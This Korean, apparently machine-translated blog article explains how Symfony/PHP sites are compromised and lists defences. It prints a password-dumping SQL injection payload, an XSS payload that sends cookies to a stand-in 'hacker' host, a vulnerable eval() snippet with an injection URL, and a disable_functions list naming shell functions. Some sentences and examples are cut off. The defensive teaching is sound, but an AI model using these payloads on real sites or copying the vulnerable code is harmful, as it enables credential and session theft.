Symfony는 사용자가 PHP 웹사이트와 웹 애플리케이션을 쉽게 만들 수 있도록 해주는 인기 있는 PHP 프레임워크입니다. 과거에는 Symfony 프레임워크의 결함으로 인해 Drupal이 영향을 받는 경우가 있었습니다. 궁극적으로 이것은 Symfony 웹사이트 해킹으로 이어집니다. 이것은 때때로 Symfony 프레임워크의 결함이었지만 안전하지 않은 개발 관행으로 인해 PHP 웹사이트도 취약해졌습니다. 이 기사를 통해 Symfony 웹사이트 해킹으로 이어질 수 있는 치명적인 취약점과 이를 방지하는 방법을 배우게 됩니다.
Symfony의 인기는 분리되고 사용 가능한 PHP 라이브러리 세트를 제공한다는 사실에 기인할 수 있습니다. 이러한 라이브러리는 개발 속도를 높이고 더 쉽게 만들 수 있습니다. 그러나 Symfony 프레임워크만 사용하는 것만으로는 PHP 웹사이트를 보호할 수 없습니다. Contrast Security의 데이터에 따르면
Symfony 웹사이트 해킹됨:증상
- 데이터베이스의 의심스러운 테이블, 알 수 없는 사용자 및 시스템의 알 수 없는 파일은 Symfony SQL Injection의 징후일 수 있습니다.
- 비정상적인 도메인으로 리디렉션되는 팝업 및 광고는 Symfony 원격 코드 실행의 결과일 수 있습니다.
- 사용자가 사이트에서 인증 없이 계정 삭제 또는 데이터 조작에 대해 불평하는 경우 Symfony Cross-Site Request Forgery 때문일 수 있습니다.
- Symfony에 저장된 Cross-Site Scripting으로 인해 사이트에 의미 없는 콘텐츠가 나타납니다.
- 모든 Symfony 웹사이트가 해킹된 결과 검색 엔진은 사용자에게 귀하의 사이트 방문에 대해 경고합니다.
Symfony 웹사이트 해킹의 원인
Symfony 웹사이트 해킹:SQL 삽입
Symfony SQL 주입은 주로 사이트의 데이터베이스를 대상으로 하는 공격 유형입니다. 사용자 입력 삭제가 부족하면 사이트가 취약해져서 Symfony 웹사이트가 해킹될 수 있습니다. 예를 들어, 아래 주어진 코드를 보십시오.
<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
이것은 SQL 쿼리를 실행하기 위한 간단한 PHP 코드처럼 보이지만 공격자는 SELECT SQL 명령을 사용하여 데이터베이스의 모든 암호를 노출하는 데 사용할 수 있습니다. $size 변수에 제공된 입력은 다음과 같습니다.
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
실행 시 이 명령문은 user라는 테이블의 모든 암호를 나열할 수 있습니다. 이 문장 끝에 있는 '-' 기호는 오류를 피하기 위해 이 줄의 나머지 코드를 주석으로 바꿉니다. 이것은 작은 예일 뿐이며 공격자는 다양한 방법으로 이를 사용하여 데이터베이스를 조작, 편집 및 삭제할 수 있습니다. 일부 Symfony 웹사이트 해킹 사례에서는 SQLi를 사용하여 리버스 셸을 얻을 수도 있습니다. Symfony 웹사이트 해킹됨:교차 사이트 스크립팅
XSS는 적절한 사용자 입력 삭제로 인해 발생하는 널리 발견된 취약점입니다. 이 취약점은 일반적으로 검색 상자, 게시판 등에서 발견됩니다. XSS로 인해 해킹된 Symfony 웹사이트는 공격자가 쿠키를 훔쳐 세션을 장악하는 데 사용할 수 있습니다. 예를 들어 다음 코드로 검색 쿼리를 작성하면 공격자가 클릭한 사람의 쿠키를 훔칠 수 있습니다.
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
여기서 '>' 문자는 이전 태그를 닫습니다. 그 후 image() 생성자는 변수 'img'에 새 이미지를 생성합니다. 다음 줄은 이미지의 소스를 결정하고 같은 줄에서 document.cookie 메서드를 사용하여 세션 인계를 위한 쿠키를 가져옵니다. XSS가 저장되거나 영구적인 경우 누군가 감염된 페이지를 열 때 이 스크립트가 자동으로 쿠키를 훔치기 때문에 훨씬 더 위험합니다. 반면에 반영된 XSS는 사회 공학 공격에 의존합니다. 쿠키 도용뿐만 아니라 XSS로 인해 해킹된 Symfony 웹사이트는 모든 종류의 피싱 공격에 사용될 수 있습니다!해킹된 Symfony 웹사이트 복구에 도움이 필요하십니까? 지금 사이트 정리
Symfony 웹사이트 해킹됨:교차 사이트 요청 위조
CSRF는 공격자가 피해자가 계정 삭제, 사용자 데이터 조작 등과 같은 원치 않는 작업을 하도록 만드는 데 사용할 수 있습니다. 예를 들어 사용자가 사이트에 로그인할 때 아래와 같이 특수 제작된 페이지를 방문하면 해당 페이지가 삭제될 수 있습니다. 계정. 이 페이지는 사용자 계정을 삭제하는 작업의 'delete' 값을 사용합니다. 공격자는 CSRF를 사용하여 다양한 공격을 수행할 수 있지만 공격자가 성공적으로 실행되었는지 확인할 수 있는 메커니즘이 없습니다.Symfony 웹사이트 해킹됨:원격 코드 실행
코딩 표준이 좋지 않아 Symphony를 사용하는 웹사이트에서 원격 코드 실행이 발생합니다. 위에 주어진 모든 공격에서 가장 큰 보안 문제는 사용자 입력을 신뢰하는 것입니다. 예를 들어, PHP 코드에서 eval() 함수를 잘못 사용하면 다음과 같습니다.
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
이것은 인수를 취하고 eval 함수를 사용하여 문자열을 PHP 코드로 실행하는 매우 간단한 코드로 보입니다. 그러나 입력이 필터링되지 않기 때문에 공격자는 /index.php?arg=1; phpinfo()
과 같은 일부 값을 제공할 수 있습니다. 이는 phpinfo() 함수의 코드 실행으로 이어집니다. Symfony 웹사이트 해킹됨:안전한 개발 관행
- Symfony 웹사이트에 대한 SQLi 공격을 방지하려면 준비된 명령문을 사용하십시오.
- Symfony 웹사이트에서 XSS 공격을 방지하려면 htmlspecialchars() 함수를 사용하십시오. 사용자 입력이 브라우저에 출력으로 표시되어야 할 때마다 구현하십시오.
- 다음과 같은 CSRF 공격을 피하기 위해 페이지에 숨겨진 임의의 토큰을 구현하십시오. ”>
- RCE가 php.ini 파일에서 이 PHP 지시문을 통해 모든 위험한 기능을 비활성화하는 것을 방지하려면 disable_functions ="show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval"
- 따라서 핵심은 Symfony 웹사이트의 사용자 입력을 신뢰하지 않으면 대부분의 취약점을 피할 수 있다는 것입니다.
- 웹사이트에 어떤 취약점이 숨어 있는지 의심되는 경우 전체 보안 감사를 받으십시오.